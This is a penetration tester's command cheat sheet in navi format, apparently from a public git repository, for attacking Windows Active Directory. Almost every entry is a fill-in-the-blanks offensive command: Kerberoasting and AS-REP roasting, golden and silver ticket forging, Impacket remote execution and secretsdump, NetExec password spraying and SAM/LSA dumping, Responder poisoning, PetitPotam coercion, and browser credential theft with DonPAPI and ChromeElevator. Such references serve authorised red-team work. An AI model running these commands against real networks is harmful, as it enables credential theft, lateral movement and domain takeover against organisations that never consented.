rpriven
93ed13d6ee
- nak.cheat: fiatjaf's Nostr army knife (placeholder keys + relay picker) - opsec.cheat: 'inspect secrets without exposing them' section - Stage 20 previously-untracked cheats (gpg, tor, veracrypt, email-privacy, etc.) - .gitleaksignore: allowlist the canonical jwt.io example token (verified false positive) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
151 lines
4.8 KiB
Text
151 lines
4.8 KiB
Text
% active-directory, post-exploitation, lateral-movement
|
|
|
|
# Rubeus - Kerberos abuse toolkit
|
|
Rubeus.exe kerberoast /outfile:<output_file>
|
|
$ output_file: echo "kerberoast_hashes.txt"
|
|
|
|
# Rubeus AS-REP roasting
|
|
Rubeus.exe asreproast /format:hashcat /outfile:<output_file>
|
|
$ output_file: echo "asrep_hashes.txt"
|
|
|
|
# Rubeus golden ticket
|
|
Rubeus.exe golden /rc4:<ntlm_hash> /domain:<domain> /sid:<domain_sid> /user:<username>
|
|
$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
|
|
$ domain: echo -e "corp.local\ndomain.com"
|
|
$ domain_sid: echo "S-1-5-21-xxxxx"
|
|
$ username: echo -e "administrator\nuser"
|
|
|
|
# Rubeus silver ticket
|
|
Rubeus.exe silver /service:<service_spn> /rc4:<ntlm_hash> /user:<username>
|
|
$ service_spn: echo -e "CIFS/DC01.corp.local\nHTTP/web01.corp.local"
|
|
$ ntlm_hash: echo "aad3b435b51404eeaad3b435b51404ee"
|
|
$ username: echo "user"
|
|
|
|
% impacket, lateral-movement
|
|
|
|
# Impacket GetUserSPNs (Kerberoasting)
|
|
GetUserSPNs.py <domain>/<username>:<password> -dc-ip <dc_ip> -request
|
|
$ domain: echo -e "CORP\nDOMAIN"
|
|
$ username: echo "user"
|
|
$ password: echo "password"
|
|
$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"
|
|
|
|
# Impacket wmiexec - WMI command execution
|
|
wmiexec.py <domain>/<username>:<password>@<target>
|
|
$ domain: echo -e "CORP\nDOMAIN"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
$ target: echo -e "192.168.1.10\nSRV01.corp.local"
|
|
|
|
# Impacket smbexec - SMB command execution
|
|
smbexec.py <domain>/<username>:<password>@<target>
|
|
$ domain: echo -e "CORP\nDOMAIN"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
$ target: echo -e "192.168.1.10\nSRV01"
|
|
|
|
# Impacket ntlmrelayx - NTLM relay attack
|
|
ntlmrelayx.py -t <target> -smb2support
|
|
$ target: echo -e "smb://192.168.1.10\nldaps://DC01.corp.local"
|
|
|
|
# Impacket secretsdump - dump credentials
|
|
secretsdump.py <domain>/<username>:<password>@<target>
|
|
$ domain: echo -e "CORP\nDOMAIN"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
$ target: echo -e "192.168.1.10\nDC01"
|
|
|
|
# Impacket psexec - SMB/PsExec execution
|
|
psexec.py <domain>/<username>:<password>@<target>
|
|
$ domain: echo -e "CORP\nDOMAIN"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
$ target: echo -e "192.168.1.10\nSRV01"
|
|
|
|
% netexec, lateral-movement
|
|
|
|
# NetExec (CrackMapExec replacement) SMB enumeration
|
|
nxc smb <target> -u <username> -p <password>
|
|
$ target: echo -e "192.168.1.0/24\n10.0.0.1"
|
|
$ username: echo "user"
|
|
$ password: echo "password"
|
|
|
|
# NetExec password spray
|
|
nxc smb <target> -u <users_file> -p <password>
|
|
$ target: echo -e "192.168.1.0/24\nDC01"
|
|
$ users_file: echo -e "users.txt\nusers_list.txt"
|
|
$ password: echo -e "Password123\nSummer2023!"
|
|
|
|
# NetExec dump SAM
|
|
nxc smb <target> -u <username> -p <password> --sam
|
|
$ target: echo -e "192.168.1.10\nSRV01"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
|
|
# NetExec dump LSA secrets
|
|
nxc smb <target> -u <username> -p <password> --lsa
|
|
$ target: echo -e "192.168.1.10\nDC01"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
|
|
# NetExec execute command
|
|
nxc smb <target> -u <username> -p <password> -x <command>
|
|
$ target: echo -e "192.168.1.10\nSRV01"
|
|
$ username: echo "administrator"
|
|
$ password: echo "password"
|
|
$ command: echo -e "whoami\nipconfig\nnet user"
|
|
|
|
% pre-windows-2000, legacy-vulnerabilities
|
|
|
|
# pre2k - check for Pre-Windows 2000 computers with static passwords
|
|
pre2k auth -u <username> -p <password> -d <domain> -dc-ip <dc_ip> -verbose
|
|
$ username: echo -e "user\nnoprivuser"
|
|
$ password: echo -e "password\nUserPass123!"
|
|
$ domain: echo -e "corp.local\ndomain.com"
|
|
$ dc_ip: echo -e "192.168.1.10\n10.0.0.1"
|
|
|
|
# pre2k query
|
|
pre2k query -u <username> -p <password> -d <domain> -dc-ip <dc_ip>
|
|
$ username: echo "user"
|
|
$ password: echo "password"
|
|
$ domain: echo "corp.local"
|
|
$ dc_ip: echo "192.168.1.10"
|
|
|
|
% credential-relay, llmnr
|
|
|
|
# Responder - LLMNR/NBT-NS poisoning
|
|
responder -I <interface> -wrf
|
|
$ interface: echo -e "eth0\nwlan0\ntun0"
|
|
|
|
# Responder with specific interface and analysis mode
|
|
responder -I <interface> -A
|
|
$ interface: echo -e "eth0\nwlan0"
|
|
|
|
# PetitPotam - coerce authentication
|
|
python3 PetitPotam.py <attacker_ip> <target_ip>
|
|
$ attacker_ip: echo -e "192.168.1.50\n10.0.0.50"
|
|
$ target_ip: echo -e "192.168.1.10\nDC01.corp.local"
|
|
|
|
# WPAD detection
|
|
curl http://wpad.corp.local/wpad.dat
|
|
|
|
% browser-hijacking, credential-theft
|
|
|
|
# ChromeElevator - extract Chrome credentials
|
|
ChromeElevator.exe dump
|
|
# Or: ChromeElevator.exe decrypt
|
|
|
|
# DonPAPI - dump credentials from browsers/apps
|
|
DonPAPI.py <domain>/<username>:<password>@<target>
|
|
$ domain: echo -e "CORP\nWORKGROUP"
|
|
$ username: echo "user"
|
|
$ password: echo "password"
|
|
$ target: echo -e "192.168.1.10\nWORKSTATION01"
|
|
|
|
# DonPAPI with specific modules
|
|
DonPAPI.py <domain>/<username>:<password>@<target> -m <module>
|
|
$ domain: echo "CORP"
|
|
$ username: echo "user"
|
|
$ password: echo "password"
|
|
$ target: echo "192.168.1.10"
|
|
$ module: echo -e "chrome\nfirefox\nrdp\nvault"
|